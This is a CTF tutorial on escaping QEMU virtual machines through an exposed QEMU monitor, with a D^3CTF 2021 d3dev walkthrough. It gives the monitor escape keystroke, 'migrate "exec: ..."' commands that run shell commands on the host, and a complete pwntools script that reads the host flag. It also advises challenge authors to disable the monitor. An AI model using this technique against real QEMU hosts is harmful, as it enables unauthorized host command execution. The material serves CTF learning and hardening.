Reading Flags Using QEMU Monitor¶
QEMU monitor is a built-in interactive console window in QEMU, primarily used for monitoring and managing the state of virtual machines. Since Linux kernel pwn challenges typically use QEMU to create virtual machine environments, if contestants are not restricted from accessing the QEMU monitor, they can directly gain full access to the entire virtual machine. Furthermore, since QEMU monitor supports executing commands on the host side, it can also directly read the flag in the challenge environment, which also means we can use QEMU monitor to accomplish a VM escape.
For challenge authors, you should always ensure that the
QEMUparameters include-monitor noneor-monitor /dev/nullto prevent contestants from accessing the QEMU monitor.
Normally, the method to enter QEMU monitor is as follows:
- First, press
CTRL + Asimultaneously - Then press
C
When using pwntools scripts, you can accomplish this by sending "\x01c", for example:
p = remote("localhost", 11451)
p.send(b"\x01c")
In QEMU monitor, there is a particularly useful command called migrate, which supports executing a specific URI:
(qemu) help migrate
migrate [-d] [-r] uri -- migrate to URI (using -d to not wait for completion)
-r to resume a paused postcopy migration
The URI can be 'exec:<command>' or tcp:<ip:port>. The former allows us to directly execute commands on the host machine. For example, the following command executes ls on the host:
migrate "exec: sh -c ls"
Sometimes you may encounter situations where there is no output due to special reasons. In such cases, you can try redirecting stdout to stderr, for example:
(qemu) migrate "exec: whoami"
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu) migrate "exec: whoami 1>&2"
arttnba3
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu)
Example: D^3CTF 2021 - d3dev¶
Analysis¶
The challenge provides us with the files used to build the remote Docker environment. It's easy to see that the core service of the challenge is launch.sh:
$ ls
Dockerfile README.md bin ctf.xinetd flag lib pc-bios start.sh
$ cat start.sh
#!/bin/sh
# Add your startup script
# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;
$ cat ctf.xinetd | grep -i server
server = /usr/sbin/chroot
server_args = --userspec=1000:1000 /home/ctf ./launch.sh
Looking at launch.sh, we can see that the challenge starts a QEMU virtual machine environment and loads a custom device d3dev, so this should be a QEMU escape challenge:
$ find . -name launch.sh
./bin/launch.sh
$ ls bin
launch.sh qemu-system-x86_64 rootfs.img vmlinuz
$ cat bin/launch.sh
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
Exploitation¶
Since the challenge author did not disable QEMU monitor in the startup script, we can directly use the migrate command provided by QEMU monitor to execute commands on the host side, completing the VM escape:
from pwn import *
def recvuntil_filter(p, target):
target_len = len(target)
s = b''
ignore_next = False
while True:
ch = p.recv(1)
if ignore_next:
ignore_next = False
continue
if ch == b'\x1b':
ch = p.recv(2)
if ch == b'[D':
ignore_next = True
elif ch == b'[K':
s = b''
else:
print("Unhandled escape sequences : {}".format(ch))
continue
if ch[0] < 0x20 or ch[0] > 0x7E:
continue
s += ch
if s[-target_len:] == target:
return s
def main():
p = remote("localhost", 5555)
p.recvuntil(b" $")
p.send(b"\x01c")
p.recvuntil(b"monitor - type 'help' for more information")
p.sendline(b'migrate "exec: cat /flag"')
flag = recvuntil_filter(p, b'flag{')[-5:]
flag += recvuntil_filter(p, b'}')
print(flag.decode())
if __name__ == '__main__':
main()